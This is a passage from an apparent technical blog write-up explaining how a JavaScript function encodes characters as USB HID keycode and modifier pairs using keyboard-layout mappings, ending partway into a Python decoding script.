font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-7">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"us"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"a"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-8">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"combo"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-9">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"comboAlt"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-10">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"comboAltGr"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-11">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"comboShift"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span></span>
<span id="cb17-12"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>The <code>encodeString</code> function processes each character of the line and encodes it using the following logic:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb18-1">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> (<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> char <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">of</span> str) {</span>
<span id="cb18-2">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> layout<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">find</span>(key <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">=&gt;</span> key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">char</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">===</span> char)</span>
<span id="cb18-3">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getKeyValue</span>(key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?</span> key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">us</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> char)</span>
<span id="cb18-4">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> modValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getModValue</span>(key) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00</span></span>
<span id="cb18-5"></span>
<span id="cb18-6">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">===</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>) {</span>
<span id="cb18-7">            <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">console</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">log</span>(<span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Couldn't find value for </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>char<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> key)</span>
<span id="cb18-8">        }</span>
<span id="cb18-9"></span>
<span id="cb18-10">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;&amp;</span> key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">combo</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!==</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span>) {</span>
<span id="cb18-11">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> comboModValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getComboModValue</span>(key)</span>
<span id="cb18-12">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> comboValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getKeyValue</span>(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">combo</span>)</span>
<span id="cb18-13"></span>
<span id="cb18-14">            output <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>comboModValue<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">,</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>comboValue<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">, `</span></span>
<span id="cb18-15">        }</span>
<span id="cb18-16"></span>
<span id="cb18-17">        output <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>modValue<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">,</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>value<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">, `</span></span>
<span id="cb18-18">    }</span></code></pre></div></div>
<ol type="1">
<li>Find the Key in the layout json file.</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb19-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> layout<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">find</span>(key <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">=&gt;</span> key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">char</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">===</span> char)</span></code></pre></div></div>
<ol start="2" type="1">
<li>Get the Key Value using <code>charMap</code>, A map giving a value to the key.</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb20-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getKeyValue</span>(key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?</span> key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">us</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> char)</span></code></pre></div></div>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>Ternary operator: <code>(condition) ? "value if True" : "value if False"</code></p>
</div>
</div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb21" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb21-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> getKeyValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (key) <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">=&gt;</span> {</span>
<span id="cb21-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> charMap[key] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00</span></span>
<span id="cb21-3">}</span></code></pre></div></div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb22" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb22-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> charMap <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb22-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'a'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x04</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'b'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x05</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'c'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x06</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb22-6">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x1e</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-7">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'2'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x1f</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-8">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb22-9">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">' '</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x2c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-10">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'-'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x2d</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-11">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'='</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x2e</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb22-12">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb22-13">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Extras</span></span>
<span id="cb22-14">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x28</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb22-15">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Space'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x2c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// SPACE</span></span>
<span id="cb22-16">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb22-17">}</span></code></pre></div></div>
<ol start="3" type="1">
<li>Get modValue, special key combinations.</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb23" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb23-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> getModValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (key) <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">=&gt;</span> {</span>
<span id="cb23-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00</span></span>
<span id="cb23-3">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">shift</span>) value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> modMap[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'LSHIFT'</span>]</span>
<span id="cb23-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">alt</span>) value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> modMap[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'LALT'</span>]</span>
<span id="cb23-5">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">altGr</span>) value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> modMap[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'RALT'</span>]</span>
<span id="cb23-6">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> value</span>
<span id="cb23-7">}</span></code></pre></div></div>
<p>If any of the key attributes is present, it does a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_OR_assignment">bitwise OR</a> (<code>|=</code>) against <code>value</code> using the <code>modMap</code> mapping with the following values:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb24" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb24-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> modMap <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb24-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'LSHIFT'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x02</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb24-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'LALT'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x04</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb24-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'RALT'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb24-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb24-6">}</span></code></pre></div></div>
<p>It essentially is bit masking the mod options in a single byte.</p>
<ol start="4" type="1">
<li>Process Combos, multiple keys pressed.</li>
</ol>
<p>At this point we already have the key and keymod, but some chars are encoded using more than one key pressed, and are defined as combos.</p>
<p>If we found a valid value, and the key contains a valid <code>key.combo</code>, we continue to get the <code>comboModValue</code> the same way as before, as well as the <code>comboValue</code>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb25" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb25-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> comboModValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getComboModValue</span>(key)</span>
<span id="cb25-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> comboValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">getKeyValue</span>(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">combo</span>)</span></code></pre></div></div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb26" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb26-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> getComboModValue <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (key) <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">=&gt;</span> {</span>
<span id="cb26-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00</span></span>
<span id="cb26-3">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">comboAlt</span>) value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> modMap[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'LALT'</span>]</span>
<span id="cb26-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">comboAltGr</span>) value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> modMap[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'RALT'</span>]</span>
<span id="cb26-5">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">comboShift</span>) value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> modMap[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'LSHIFT'</span>]</span>
<span id="cb26-6">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> value</span>
<span id="cb26-7">}</span></code></pre></div></div>
<ol start="5" type="1">
<li>Add key results to Output</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb27" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb27-1">output <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>comboModValue<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">,</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>comboValue<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">, `</span></span>
<span id="cb27-2"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb27-3">output <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>modValue<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">,</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>value<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">toString</span>()<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">, `</span></span></code></pre></div></div>
<p>For example, encoding the character “à” with the <code>es</code> layout might result in:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb28" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb28-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">47</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>But that is not a possible value using the <code>us</code> layout and will be represented as:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb29" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb29-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<div class="callout callout-style-default callout-warning callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Warning
</div>
</div>
<div class="callout-body-container callout-body">
<p>The <code>key.combo</code> and <code>key.char</code> values could overlap, making it challenging to distinguish between <code>comboModValue</code>/<code>comboValue</code> and <code>modValue</code>/<code>value</code>.</p>
</div>
</div>
<p>Decoding the values by manually inspecting the mappings is complex. Therefore, automating the process is a practical solution. It’s nice to find an excuse for spending some time automating stuff.</p>
</section>
<section id="automating-the-decoding-process" class="level3">
<h3 class="anchored" data-anchor-id="automating-the-decoding-process">Automating the decoding process</h3>
<p>Each key pressed is represented by a pair of values because some characters require multiple special keys to be pressed simultaneously. For instance, a capital <code>A</code> is sent using the combination <code>SHIFT</code> + <code>a</code>.</p>
<p>If a character needs another key pressed first, it becomes a combo combination, resulting in two pairs of values (for example <code>à</code> is equal to <code>`</code> + <code>a</code> in some layouts).</p>
<p>To automate the decoding process, I wrote a Python script.</p>
<p>First, let’s define a class representing the key with all possible attributes:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb30" style="background: #f1f3f5;"><pre class="sourceCode python code-overflow-wrap code-with-copy"><code class="sourceCode python"><span id="cb30-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> Key:</span>
<span id="cb30-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">__init__</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">None</span>:</span>
<span id="cb30-3">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod <span class="op" style="color: #5E5E5E;
background-color: null;
